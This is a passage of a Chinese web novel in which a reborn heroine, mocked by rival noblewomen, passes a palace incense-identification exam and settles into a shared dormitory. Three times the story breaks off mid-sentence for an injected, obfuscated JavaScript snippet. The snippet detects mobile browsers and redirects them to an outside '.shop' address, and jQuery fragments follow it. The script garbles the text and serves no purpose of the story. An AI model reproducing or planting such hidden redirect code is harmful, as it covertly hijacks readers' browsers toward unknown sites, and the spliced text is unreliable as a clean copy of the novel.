林半夏先笑出声来，显然觉得有趣。 她向来趾高气昂惯了，说话也直白带刺，何况姜绵一看便知没甚根基。李亦舒既然开了口，她自然乐得拱火。 “李二姑娘这话也不算错。”林半夏懒洋洋开口，拨了拨腕上的镯子，“香药库毕竟不是寻常地方。第一轮尚且好糊弄，到了第二轮，可就不是运气好能混过去的了。若没点真本事，待会儿当众出了丑，就会闹笑话了。” 两人一前一后，一唱一和，十分刻薄地把姜绵的退路堵得严严实实。 李亦舒和林半夏对视一眼，掩唇笑了笑，目光从姜绵素色没纹样的衣物打量至她的发髻——身上连点像样的首饰都没有…… 李亦舒嘴角的弧度越来越深。 “沈姑娘可是青阳县来的？” “是。” “青阳县……”林半夏把这三个字在舌尖滚了一圈，像是品味什么稀罕物，“那是哪儿来着？江南东路的？还是两浙的？” 李亦舒凑趣道：“姑娘，青阳县是个小县，在池州底下呢。” “池州？”林半夏眨了眨眼，做出一副努力回想的样子，“池州……哦，是那个出茶叶的地方吧？听说那边的县令，一年的俸禄还不够京城一顿席面的。” 此言一出，廊下瞬间诡异地安静了下来。 周遭十几道极其复杂的目光齐刷刷地落在了姜绵身上。有极其期待等着看她无地自容、羞窘落泪的，也有冷眼看热闹的。 姜绵站在那里，被如此众矢之的的审视，确实是不自在极了。 她早该想到的。 嫡姐李亦棠耀眼地压在前头，李亦舒心底那点常年被无视的扭曲与不痛快，总要迫切地找个出口发泄。 她又窝囊地碰不得林半夏，更不敢去逾矩地冲撞李亦棠，便只能势利地挑自己这种瞧着最没背景、最无依无靠的生面孔下手。 若是前世，她或许真会被这样几句话逼得脸热心慌。 可姜绵如今再听这些可笑的挑衅，心底只觉得极其荒唐。 旁边几个势力的女子也跟着笑，那笑声虽不大，却阴毒地像一根根淬了毒的细针，直直地往人耳朵里扎。 面对这样的讥讽，姜绵依旧诡异地不动如山。 她目光落在李亦舒的点翠蝶簪上。 只一眼，她便毒辣地看穿出了这李亦舒外强中干。 那簪子虽是点翠，却选的是次等翠羽，左右蝶翅的色泽深浅不一，左边明显黯淡一截，连毛边都没修剪齐整。分明是为了今日体面，在银楼里仓促赶制凑数的货色，连仔细挑拣都顾不上。 就凭这等打肿脸充胖子的模样，和她有甚差别？既装不出个名堂，还不如同她一样躺平…… “李二姑娘和林姑娘教训得是。”姜绵温顺地垂下眼睫，轻声开口，语气坦然而真诚，“青阳县确实是个闭塞的小地方，自然比不得京城繁华。民女这般出身能来此应选，已是承蒙祖上积德了。” 李亦舒与林半夏齐齐一噎。 李亦舒本期待着看姜绵脸红耳赤、羞愤低头，或是慌乱地结巴解释。 只要她一露怯，自己便能顺理成章地再多踩几脚，好叫这满院子的人都看清楚，这里有个最上不得台面的。 可姜绵竟什么反应都没有。 她不仅没有屈辱和生气，甚至极其配合地顺着她们的话往下贬低自己。 林半夏无趣地皱了下眉。她只觉得这乡下丫头简直生了一副软烂的贱骨头，连半分好胜的意气都没有，挤兑起来毫无意思。 李亦舒更是憋闷，犹如一记狠厉的重拳可笑地打在了一团软烂的棉花上。不仅不痛不痒，反倒刺眼地衬托出了她自己刻薄容不下人的丑态。 “你——”李亦舒张了张嘴，正要再说什么，忽然听见身后传来一道温和的声音。 “亦舒。” 李亦棠不知何时已翩然而至。 她面上带着清浅的笑意，目光平淡地从姜绵那张素净的脸上掠过，最终落在了庶妹那涨红的脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515001|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“第二轮马上便要开始了，莫要在这儿做些无谓的耽搁。” “是，长姐。”李亦舒难得低下了头。眼底闪过一丝不甘后退到嫡姐身后随她而去。 姜绵仍站在原地抿唇看着。 就在擦肩而过的那一瞬，李亦棠的脚步却微不可察地一顿。 她优雅地偏过头，幽深地看了姜绵一眼。 不过轻飘飘的一眼，却让姜绵的脊背本能地微微绷紧了。 “第二轮，好好考。”李亦棠轻柔地丢下这五个字。 随后，她从容地转过身，端庄到禁步都纹丝不动，宛如一片不染尘埃的云，静静飘远了。 姜绵盯着那道无懈可击的背影，眼底闪过一丝鄙夷。 好好考？ 李亦棠，你这话是什么意思？ …… 主考女官从内堂迈了出来。 她身后跟着几名青衣女使，手里稳稳端着黑漆题牌与覆了纱的银盘。 随着脚步声落下，廊下那些细碎的逢迎与压抑的嘲笑声，瞬间便如潮水般默契地收了回去。 第二轮，要开始了。 姜绵抬眼，看着女使们将题牌一一摆上长案，心里那些因挑衅而冒出来的无名火，反倒慢慢定了下来。 她知道，不过先忍一时而已，一时的口舌之快根本算不得什么。 而是待会儿那道题落下来时，她要叫这些人知道，她姜绵若是站到了第二轮，到底不只是凭运气。 女使鱼贯而入，严谨地将黑漆题牌一一倒扣在长案上。 牌面朝下，银盘覆纱，所有人都只能极其隐约地瞧见一角冰冷的银光。 廊下本还涌动着几分微妙的暗流，可待那位不苟言笑的主考女官往正中央一站，就连林半夏那极其跋扈的赤金镯子，都不敢再碰出半点细响。 “第二轮，不考死记硬背的成香方子，只考诸位的鼻力。”女官平直冷硬的声音响彻庭院，“混粉识香。每人案前一盘香末，一炷香的功夫内，写出里头所混的所有香材。写对至多者，由上至下依序入选。” 一句话落下，四下里静得只剩风声。 这题目多少刁钻，就连林半夏脸上那点漫不经心先收了两分。 她家中香料多，闻过见过是不假，可真把几味香材都碾成粉，拌在一处，还要从里头一点点拆出来，靠的就不只是见识了。 李亦舒却先动了心思。 她眼角一挑，目光飞快扫过几张案几。女使摆牌时，她早看出些门道——每道题牌下头，摆的银盘大小不一。那只最大的，盖纱下头隐约地隆起了一堆雪白香粉，盘子边缘还讲究地压着一圈金线缠枝纹，显然绝非寻常的题目。 她心里一转，便知那多半就是最难的一道。 若是叫李亦棠抽中那盘香，她便能当着这满院子贵女的面来个马前失蹄，如此撕下她那内定名额的虚伪的面具，那她今日受的这点憋屈的窝囊气，也算是值当了！ 这恶毒的念头一起，李亦舒自然地抬了帕子，作势去拂鬓边的碎发，人却不着痕迹地往李亦棠那边的案几挪了半步。 谁知还没碰到案边，李亦棠已敏锐地偏过了脸，端庄地朝着主考女官轻轻福了福身。 “回大人，我们姐妹二人若是同席比邻，总归是不便的。” “若外头有人拿这个无端说嘴，反倒平白污了今日太常寺甄选的森严的规矩。” “既然第二轮考验鼻力，不如干脆按初筛的名册重新落座，也免得有人多心地嚼舌根，说我与妹妹互相照应。” 她说得和和气气，连眼风都没往李亦舒那边带一下。 主考女官赞赏地瞥了眼这位识大体的李家嫡女，痛快地点了头：“李姑娘思虑周全。便依你所言，按名册重排座次！” 轻飘飘的一句话，便无情地将李亦舒那点上不得台面的阴暗算盘，当场地击了个粉碎！ 李亦舒脸上的笑意僵硬地凝固了，却还是憋屈地不得不低头咬牙应了一声“是”。 待座次一挪，那只盖着纱的银盘没落到李亦棠案上，兜了半圈，最后竟停在了姜绵面前。 18. 陈霍香 黑漆题牌翻开，五个字映入眼中——贵香辨认。 姜绵眼皮轻轻一跳。 她盯着那块牌子看了片刻，心口跟着沉了一下。 前世分明没这桥段。 前世第二轮考的是照方选料，几道旧香方摆在案上，叫人辨用途改寒燥，根本没有这考鼻力的说法。如今题目换了不说，偏还换到了她头上。 姜绵一时竟说不上来，究竟是自己运道太差，还是李亦舒那点见不得光的算计兜兜转转，倒霉催地把她给捎了进去。 可这世道的规矩就是这般欺人。 这道死题若是砸在李亦棠手里，她答不出，顶多是当众出个糗、折几分世家嫡女的颜面，那个内定的名额依旧稳如泰山地留在她手里。 可若是砸在姜绵头上，一旦答错，便是卷铺盖走人，彻底断了留在京城的进身之路。 对面，李亦舒先是一怔，随即便飞快压下了眼底那点没坑到嫡姐的懊恼。 虽没坑着李亦棠，落在姜绵头上也不亏。左右这沈清荷在她眼里，就是个没什么根基的软柿子。 这么刁钻的题压下去，待会儿答得一塌糊涂惹出笑话，正好顺理成章地将这乡下丫头扫地出门。 她捏着帕子，笑吟吟地瞧过来，眼里全是幸灾乐祸：“沈姑娘运气真好，这等旁人求都求不来的考较，倒叫你撞上了。” 林半夏站在不远处，也扫了一眼姜绵案前的牌子，唇角一挑：“倒是省事。若连这道题都识得出来，第二轮过关也算名正言顺。若识不出来——”她拖了个尾音，“那也怪不得旁人说初筛放得太松。” 两人一唱一和，廊下几道目光便都压了过来。 事已至此，避无可避，左右不过是兵来将挡，水来土掩。 她在宫中浸淫多年，又有在素问堂的那段日子，什么样的奇香异草她没见过？就算太常寺的考题再刁钻，也不至于让她全然摸不着门道。 更何况，既然主考敢出这道题，案上的准备自然齐全。 除了那只覆着轻纱的银盘，盘边还整整齐齐地码放着银匙、香箸、小玉钵、细筛与一叠用来默写香方的素白笺纸。旁边另设了一只精巧的试香小炉，炉中香灰已然覆好了底火，灰面被香铲压得平平整整，边缘搁着一片薄若蝉翼的银叶子。 她只手揭开银盘上的细纱。 只见雪白细腻的香粉置于盘中。 姜绵端详着眼前细腻的白粉，鼻尖萦绕着由冷入沉、再转微甜的复杂香气。 她拿银匙挑起一点香末，先不凑近鼻下，只在掌心轻轻搓开。 指腹一碾，凉意随之欺上。 味辛透窍，清冽开窍，是龙脑。 她再低头，浅浅闻了一口。冷里压着木气，是沉水。 可这沉水不纯，里头还裹了一点黄熟的甜润。 姜绵垂着眼，指腹碾压的动作没停。 香粉在肌肤的热度下一点点散开。甜润褪去后，底端隐隐浮起一丝微腥。 里面或许还加了甲香。 她心里有了数，眉头却没松。 不对，尾调还裹挟着一股陈旧滞涩的药沉之气。 方才闻到的全是达官贵人竞相追逐的珍品。可香之一道，最怕的从来不是贵香太盛，而是尾里藏了一点不值钱的败气，初闻不显，越到后头越浊，平白污了一炉好香。 姜绵拿细绢帕子将手拭净。目光扫过案上的素白笺纸，没落笔。 单凭搓碾，还定不准那抹败气究竟是什么。她夹起那片银叶子，稳稳架在香炉平整的灰面上。 这香，到底还是要上炉子逼一逼，才能现出原形。 人群里登时便冷嘲热讽道：“不知道这人在故弄什么玄虚？竟是半天不落笔？” 有人跟着戏谑：“多半是写不出来，想法子拖延时间呢！她能闻过什么名贵香料啊！” 姜绵对周遭的闲言碎语置若罔闻。 只见她反手取过那只羊脂玉钵和细筛，后又用银匙挑起一匙香粉，悬于玉钵之上，手中细筛轻摇。 她的动作轻缓，那雪白的香粉便如细雨绵雪一般，均匀而绵密地透过筛网，簌簌落下。 玉匙与细筛在指尖转换，一气呵成，没有半点迟疑，更没有发出急躁的磕碰声。 眼见她动作行云流水，廊下的笑声，不知不觉间全歇了。 林半夏拨弄金镯的手指骤然顿住。 李亦舒绞着帕子的手也不自禁地松了开来。 她们都是在香堆里长大的，自然看得出这手摇筛的功夫。要做到粉末匀净而不散乱，非得有数年的静气打磨不可。 筛好香粉，姜绵放下筛子，拿起香箸，从旁侧的灰罐中另取一片银叶，依旧稳稳搁在试香炉的灰面上 随后便取了银匙，挑起筛好的香粉，不多不少，恰好覆盖在银叶中心。 只见姜绵左手托炉，右手轻轻扇动炉面，借着炭火隔火透香，让气息一丝丝逼出来 她垂着眼，神情肃穆而专注。 前世在深宫之中，为了生存，她不知在这品香一道上下了多少苦功。 从如何压灰才能让火气匀，到如何熏香才能让香气纯，每一个步骤早就磨进了骨子里。 廊下的贵女们面面相觑，眼底的嘲弄已被浓重的震惊所取代。 她们愣愣地看着那双翻飞的素手，看着她那不疾不徐、矜贵从容的做派。 若是不知道底细的旁观之人瞧见了这幅光景，只怕还以为是哪位久居深宫端坐在暖阁里的尊贵娘娘正在闲时弄香！ 凭谁能相信，这样夺人的气度，这样绝妙的手法技巧，竟是来自一个小县令之女？ 李亦棠看着姜绵，温润的眸子里终于泛起了一层波澜。 就连那位一直面无表情的主考女官，此时看着姜绵那毫无挑剔的试香手法，紧绷的眉目也忍不住舒展开来，眼中流露出一丝欣慰地点了点头。 短暂的死寂后，李亦舒忽然冷笑了一声。 她死死绞着手里的丝帕，盯着姜绵那双出尽了风头的手，压不住心底翻涌的酸水：“装模作样会摆弄几下器具罢了，有什么用？” 李亦舒抬起下巴，强撑着眼底的轻蔑，拔高了音调：“太常寺考的是辨香识材，又不是考谁倒腾银匙好看。那盘子里的香料少说混了六七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515002|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味，若是连里头是什么都答不对，就算把这架势端得再像模像样，也不过是个中看不中用的花架子！” 听得有人跟着轻嗤了一声：“可不是。乡下地方没见过好香，大抵是把心思全花在学这些虚头巴脑的规矩上了，倒叫咱们看了场戏法。” 两人这番找补的冷嘲热讽，在廊下荡开。 可姜绵连眼皮都没抬半下。 她的呼吸放得很轻，所有心神，已经全盘沉进了那一缕顺着银叶丝丝缕缕透出来的香气里。外界的喧闹，于她而言不过是犬吠。 这是最见功夫的时候。 初闻，霸道的冷意直冲鼻腔，果真是龙脑。 紧接着，随着炭炉的温度隔着银叶慢慢烘烤，中段的醇厚沉稳一点点铺陈开来。 若换作李亦舒或是林半夏来答，闻到这里，大抵便要自作聪明地提笔写答案了。 火急了，前头龙脑先冲散，闻不真。火缓了，尾香又出不来。姜绵抬手轻拭了一下炉沿温意，略等片刻，才俯身细闻。 而在这些重重叠叠的富贵气味彻底燃尽的最后一刻——一缕轻薄、陈旧、甚至带着久放后发涩的苦辛药气，悄然自香灰深处浮了上来。 就是陈藿香。 还是放了有些年头的陈藿香。 好巧不巧，这种尾韵，她前世最熟。 失宠那阵子，内库拨下来的香料一回比一回次。有一回李亦棠随手赠了她一匣香，面上看着全是好料，焚到半夜，尾香里却浮上来一股旧药气。 她当时没说，第二日只叫人把那匣香全丢进水盆里到了个净。 姜绵从容地挽起一截月白色的袖口，提起案上的紫毫笔，饱蘸浓墨。 李亦舒和林半夏正盯着她，料想着看到她提笔忘字，抓耳挠腮的窘态。 姜绵却毫无迟疑，手腕翻飞。 在素白的宣纸上，她毫不犹豫地落笔：龙脑、沉水、黄熟、耨香、甲香。 末了她笔尖悬停了一下，又慢慢添上最后一行字——掺陈藿香少许。 林半夏一早便交了笺纸，抱着臂看着姜绵从容不怕的模样轻嗤了声：“写得倒细。别待会儿写满了一张纸，交上去却全错了。” 李亦舒掩唇笑道：“沈姑娘心细，总归是好事。只是香之一道，靠的不是嘴硬，也不是写得多。” 姜绵连眼皮都没抬。 她将笔搁下，等女使来收卷。 主考女官从头到尾都负手立在廊阶上。待一炷香燃尽，女使将众人的答卷收齐，恭敬地呈递上去。女官随手翻看了几张，那张素来严苛古板的脸上并未浮现出什么波动。 翻到林半夏那张时，目光略停了停。 翻到李亦棠那张时，指尖微微顿了顿。 可当翻到最后，视线落在姜绵那张薄薄的笺纸上时，女官翻页的手，却实打实地停滞住了。 廊下的气氛悄然生变。 李亦舒和林半夏交换了一个眼色，嘴角已然浮起了幸灾乐祸的讥诮。 在她们看来，考官这般反应，定是这乡下丫头为了充内行胡编乱造，写了什么狗屁不通的答案，污了主考官的眼。 19. 金包朽 “沈清荷。”女官突兀地开了口，声音沉冷。 姜绵抚从容起身：“在。” “你上前回话。” 话音落下，周遭十几道灼人的视线，立时沉甸甸地朝她压了过来。有探究，有鄙夷，更有等着看好戏的讥笑。 姜绵神色如常，步履平稳地走到廊心，规规矩矩地垂首站定，身姿端正，姿态里挑不出半点畏缩。 主考女官将她的答卷单独抽了出来，轻轻压在案头，抬起一双锐利如鹰的眼，上上下下地重新打量了这个生面孔一番。 “你这卷上写着，此香混了龙脑、沉水、黄熟、笃耨、甲香……”女官念出她纸上的答案，忽地顿了顿，“尾调还掺了一味‘陈’藿香。” “前头几味不难，后头这一味，你如何断定？” “回大人的话，”姜绵声音温和，不紧不慢，“龙脑冷冽，沉水醇厚，初品时冷香夺人，足以盖过所有杂气。若只看表面，这确实是一盘挑不出错的富贵香。” 她微微停顿，目光似有若无地掠过不远处的李亦棠，唇角牵起一抹意味深长的浅笑。 “可既然是隔火熏香，炭火慢烘之下，再好的伪装也藏不到最后。出题之人在这金玉堆里，刻意压了一丝陈放多年的藿香。新料气味辛烈，容易琢磨，唯有这等陈年旧料，辛散之气褪尽，初闻不显，可待到满堂的富贵气全数燃尽了，那点子朽坏发浊的底子，自然就原形毕露了。” 廊下很静，只有姜绵平稳的声音在回荡。 “民女只是觉得，这香若只图一时好闻、拿来做个面子情，像是合适。”姜绵直视着前方的虚空，话里有话道，“可若真关起门来长久地焚，到了半夜尾调发臭，反倒平白恶心人。” “金玉其外，败絮其中。想来出题的大人也是为了借这盘香考校咱们，看人接物，莫要被面上那一时的风光迷了眼。” 话音落下，廊下鸦雀无声。 主考女官定定地看了她半晌，眼中那点常年不变的冷硬与严苛，终于彻底化作了毫不掩饰的赞赏。 “好一个金玉其外，败絮其中。” 女官拿起姜绵的那张答卷，视线威严地扫过廊下众人，掷地有声：“这盘香，名唤金包朽，正是太常寺用来考校女使基本功与定力的死题。” 这话一落，林半夏脸色先变了，谁都没想到这乡下来的寒酸货当真有这种本事。 李亦舒更是一僵，她原以为这道题砸下来，姜绵不说当场出丑，至少也要慌上一回，谁知人家不但答出来了，还能通晓其中门道。 她脸上那点笑挂不住，强撑着开口：“也、也未必就是她闻得准，兴许只是碰巧……” 话音未落，主考女官已淡淡抬眼：“碰巧一次容易，碰巧到尾香都写中，便不是碰巧了。满院子的人，若是拿到了这题，能写出前头几味的，都没有几人……” “——短短一炷香内，能把这味垫底的陈藿香丝毫不差地剥出来，还能把这造香的虚实门道点得如此通透的，足以证明沈姑娘在诸位姑娘里技高一筹。” 一句话，直直截断她后头的辩解。 李亦舒嘴唇一白，终究没敢再出声。 而廊下另一头，李亦棠终于抬起眼，端端正正地看了她一回。 那一眼不长，却颇有几分意味。 姜绵与她目光一触，神色未变，只平静地垂下眼，退回了原位。 偏这时，主考女官合上卷册，淡声道：“第二轮，取六人。” 廊下众人心口都跟着一紧。 “香药库今春录六人——李亦棠、林半夏、江采采、云羡、沈清荷、陈婉宁。” 一口气报完，廊下先是一静，紧跟着才有细细碎碎的叹气声浮起来。 姜绵站在原地，直到听见“沈清荷”三个字落定，才缓缓抬起头。 她立在原地，那份悬而未落的惶然，总算有了归处，像飘摇多日的风筝，线头终于重新攥回手里。 方才那点前世今生交错的恍惚，也随着女官的定论，稳稳落了地。她抬眼，不动声色地随着前头几人一道出列，规规矩矩行了礼。 六人已满。 廊下那些先前等着看乡下丫头笑话的目光，这会儿全被凭空扇了一巴掌，安静如鸡。 落选的姑娘们面色灰败，却无人敢在太常寺撒野。唯独片刻的死寂后，李亦舒终是没熬住心底那股灭顶的崩溃，猛地往前踏出一步。 “敢问大人——” 她声音发紧，尾音都在抖，显然是急了，“是不是名册有误？我第二轮明明——” “没有误。”主考女官淡声打断，“六人俱在此处。” 这一句驳斥，叫李亦舒脸上的血色顿时退了个干净。 她张了张口，还想再争，主考女官已将她那份笺纸单独抽了出来，搁在案上，声音平平：“檀香认错，乳香判偏，尾香未明。香药库取人，靠的是本事，不是妄图蒙混过关的侥幸！” 李亦舒原本就生得秀气，这会儿子死死咬着泛白的嘴唇、眼圈通红的模样，倒真有几分楚楚可怜的委屈相。 若换了外头寻常的文会，兴许还有人心软替她打个圆场。 可这里是太常寺，坐在上头的是按铁律取人的内廷女官，根本不吃她这后宅里的一套。 林半夏站在入选的六人里，瞧着李亦舒这副丢人现眼的模样，唇边毫不掩饰地掠过一抹看笑话的讥诮，半句求情的话都没帮着说。 眼见庶妹快把李家的脸面丢尽了，李亦棠这才转过身。 她面上不见半分恼意，只温温地开口：“亦舒，既落了选，想是你平日里功夫还没下到家，回去再潜心学便是。今日是在太常寺，莫要失了自家的规矩，徒惹人笑话。” 她说的是端庄识大体的劝慰之语，在外人眼里，更是给足了包容庶妹的姐妹情分。 可这话听在李亦舒耳里，像砂纸擦过脸面，一下下不重，却把她那层强撑出来的体面磨得发烫。 人人都录了，连那个不起眼的沈清荷都过了，偏偏被刷下来的是她。她原想着借今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517514|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出头，踩旁人一脚也好，压嫡姐半分也好，总得占一样。 谁知到头来，丢脸的竟是自己。 她攥着帕子，眼底又羞又恨，偏还发作不得。发作了，便更叫人看笑话。 最后只得低下头，挤了一声干涩的泣音“是”。 姜绵静静立在一旁，冷眼旁观着这一幕，心头微微一动。 前世的轨迹，可不是这般走向的。 前世，李亦舒虽在调香上没什么真本事，却也厚颜借着李家的门楣，顺水推舟地混进了这香药库。 如今，阴差阳错间少了那层理所应当的便利，她又急功近利地想要使阴招算计人，反倒被自己的虚荣绊了个结结实实。 人一旦急了，最丑陋的嘴脸便怎么也藏不住了。 随着女使们将落选的姑娘们引离，主考女官没有再分给李亦舒半个多余的眼神，只将手中厚重的名册往长案上“啪”地一搁。 她年岁已长，两鬓染了些微霜，眉眼间带着在内廷浸淫多年的不怒自威。 “既在这卷册上落了名，从今日起，你们六人便是太常寺香药库的人了。” 女官的目光凌厉地扫过入选的六名女子，声音沉冷：“别管你们在家中是何等娇贵的出身，也别提你们的父兄在朝堂上担着几品的官帽。只要迈进这道门槛，便都一样是来当差做事的！” “香药库供的是皇家礼香、内廷药香，关乎的是宗庙祭祀与宫中贵人们的起居安康。这里，从来不是留给你们摆脸面、论门第、斗心眼的后宅后院！” “既来了，就把在自家宅门里惯出来的那些毛病，都给我收干净。若是谁还想端着千金小姐的娇贵脾气，受不得内廷的森严约束，吃不得当差的苦楚……” 女官冷哼了一声，甩下一句毫无转圜余地的话：“现在便可卸了腰牌，从哪儿来，回哪儿去。 林半夏唇角原还带着一点得意，听到这里，脸色便不大好看了。 她自幼被人捧惯了，几时受过这等敲打？偏偏这是太常寺，不是她林家的后院，纵然心里不快，也只能硬生生忍下。 云羡也听得一凛，忙往江采采身后藏了藏，站得比方才规矩了许多。 倒是江采采神色未变，只垂首应道：“谨记大人教诲。” 李亦棠也随之低身：“是。” 姜绵站在最末，跟着众人一道应了声“是”，心里却反倒松了一分。 “既已录名，今日起便入香药库学事。舍房已分下去，各人随女使去领号牌、衣册。” 几名女使鱼贯而入，将木牌一一分下。 姜绵低头看了一眼，那粗糙的木牌上只简单刻了“东舍”二字。 她正觉着疑惑，便听为首的女使扬声通禀：“近日太常寺后院屋舍尚未修缮打点妥当，委屈新录的六位姑娘，先同住东舍。待过些日子腾挪开了，再另行分派单间。” 廊下顿时漫起一阵压抑的骚动。 林半夏眉头死死拧了起来，脱口而出：“什么？六人同住一间屋子？” 20. 脂粉气 她抱怨的话音才刚冒了个头，主考女官便射过来一记眼刀。 “怎么，林姑娘在家里住惯了独门独院，这香药库当差的门槛都还没跨进去，倒先挑拣起朝廷的屋舍来了？” 林半夏脸颊猛地涨红，又羞又惧，慌忙低下头去：“小女不敢。” “不敢最好。”主考女官漠然收回目光，“再说最后一次，香药库不是让你们来做千金小姐享清福的地方。眼下就这么凑合住着，谁若觉得委屈了自己金贵的身份，现在交还腰牌卷铺盖走人，太常寺绝不强留。” 这一番敲打，四周噤若寒蝉，再无人敢触这个霉头。 女使见状，这才转身引路：“六位姑娘，请随我来。” 六人各自领了木牌与统一的衣册，沉默地跟在女使身后往深处走去。 太常寺的抄手游廊曲折幽深，一行人绕过一架凋零大半的忍冬花墙，视线豁然开朗，一排整齐的青瓦舍房映入眼帘。 院子不大，却打扫得一尘不染。 窗台下搁着几盆新移栽来的素雅兰草，门前的细竹帘透着股新编的清气，四面檐角还垂挂着几只用来驱虫避秽的药香包，处处透着内廷独有的严谨与清净。 女使推开最东头那一间，侧身让开：“就是这里了。” 只是门一推开，里头情形便一眼看尽——屋子虽不算逼仄，六张木榻却已沿着两侧墙根排开，中间只余一条过人的道，窗下并着两张长案，墙边另设衣架、洗漱架子，分明是临时腾挪出来、叫她们六人先挤着住的。 女使站在门边，语气平平：“屋舍近日还未打点开，六位姑娘先住这一间，等后头腾出地方，再另行分派。榻位没有定死，各位自行挑拣便是。只是夜里不得喧闹，明日卯时三刻点卯，若误了时辰，自有规矩处置。” 说罢，她略让开一步。 几位姑娘身后的丫头便都跟着进了门。 一时间，屋里脚步声、箱笼落地声、衣料摩挲声都叠在了一处。 李亦棠带来的丫头最利索，进门后先扫了一眼屋中陈设，随即低声问了句“姑娘可要靠窗那张榻”，得了点头，便领着另一人将随身带来的青布箱笼安安稳稳搁了过去。 又有小丫头从匣中取出一方素色软垫铺在榻上，将换洗衣裳、常用香匣、书册一一归置妥帖，动作轻快，半点不乱。 林半夏那边动静最大。 她带来的两个婢女一个捧着铜镜匣，一个抱着锦缎软褥，才进屋便先皱了眉。 林半夏自己站在门边，抬眼看了看屋里这几张并排的木榻，登时便面露嫌色，显然不大看得上。 只是方才在外头已被敲打过，这会儿到底没再多说什么，只抬了抬下巴，示意丫头把东西往靠里、靠近屋角的榻的榻上安置。 江采采带来的丫头最少，只一个，抱着个漆木小匣和一叠衣物，进门后先将长案擦了一遍，才把香谱、纸笔和换洗衣裳轻轻放下。 她自己也不站着等，只挽了挽袖口，跟着一同收拾，主仆两个一道比旁人更利索。 云羡则是兴致勃勃看了看这个，又看了看那个，眼里写满了“竟真要一起住”的新鲜。 她的丫头跟在后头忙得额角都冒了汗，一面替她铺榻，一面压低声音劝她：“姑娘，先别看了，待会儿再瞧。” 云羡这才“哦”了一声，乖乖让开又忍不住问：“这屋子夜里还用燃暖炉吗？六个人同住不会闷死罢？” 那丫头正忙着归置衣物，只得连声应她。 陈婉宁也带了两个小丫头，主仆三个话都不多，进门便选了靠门那张榻，铺榻、归置、挂衣，一气呵成，不多占旁人一点地方。 满屋子人里，只有姜绵是一个人。 她怀里抱着自己的小包袱，里头不过两身换洗衣裳，一只针线包，再无旁物。 旁边几家的丫头进进出出，替自家姑娘铺褥、摆匣、挂外裳，连铜镜都擦得亮堂堂的，衬得她手里那点行李越发轻省。 她只扫了一眼屋里剩下的位置，便将包袱放到了最里侧那张挨墙的木榻上。那地方离窗远些，夜里风小，角落里照不进光。 她弯腰解开包袱，将两件衣裳叠好，平码在榻角，又把针线包塞进枕边，顺手将席面抹平。没有软褥可换，也没有多余东西可摆，几下便收拾停当。 门一合上，满屋子脚步声便都散了。 方才还有丫头们进进出出，替自家姑娘铺褥叠衫、安置匣笼，眼下一静下来，屋内便只剩六人，一屋未散的脂粉香混着缕缕熏衣香气萦绕半空，无处可避。 姜绵低头理了理榻角叠放齐整的衣衫，心头微微一顿。 前世没有这一出。 那时新晋女使皆是宿于后院，向来两三人一室，彼此各守体面分寸。她与众人不过泛泛之交，晨起点卯匆匆照面，散值归舍偶然相逢，至多在廊间寒暄几句客套话语，从不必日日近身相对，纠缠往来。 如今境况却是截然不同。 一室之内，六张卧榻，同吃同住。白日一同参与遴选，夜里同在一盏孤灯下松散发髻、卸去容妆。谁生性温良，谁故作端凝，谁性情骄躁，谁城府深沉，朝夕相伴日久，再厚重的伪装，终究也掩藏不住本心。 除了方才最扎眼的那几个，其余几位姑娘的家世，姜绵心里也多多少少有些印象。 江采采的父亲在大理寺任大理寺丞，是这一屋人里，除了她这个青阳县令之女，官阶最低的一个。 江家门第不算显赫，送女儿来香药库，想来也是家里的意思。 这样的地方，说苦不苦，胜就胜在能挨着贵人眼皮底下做事。哪怕最后没能得谁青眼，混个脸熟，往后说亲议婚，总也多几分添头。 江采采本人倒瞧不出多少钻营气。 她人如其名，很文气一姑娘，说话也比较直接。方才在廊下，她不抢着出头，也不跟着旁人起哄，连收拾行李都是不疾不徐的，瞧着像个懂分寸的人。 云羡则是这几人里年岁最小的，如今不过十七。 她一看便是自小被家里宠大的，眼里盛不住事，喜怒也都搁在脸上。方才一进门，便东看看西瞧瞧，满眼都写着“真要一起住”的稀奇，半点心机也不藏。这样的人，不用想便知是娇娇小姐。 搁在这满京华的深宅高门里，却未必全是福气。 姜绵对她印象还挺深。 这云羡是与六皇子宋知栩一道长大的。 因其父在国子监，她自幼便常出入宫闱，和那位宋知栩算得上青梅竹马。少年人一处长大，情分总比旁人厚些。 前世宫里也不是没人私下议论过，说宋知栩待她与旁人不同，只是这种事，没摆到台面上，谁也不会傻到去戳破。 可后来云羡到了说亲的年纪，进的却不是王府的门，却是宋宴清的后宫。 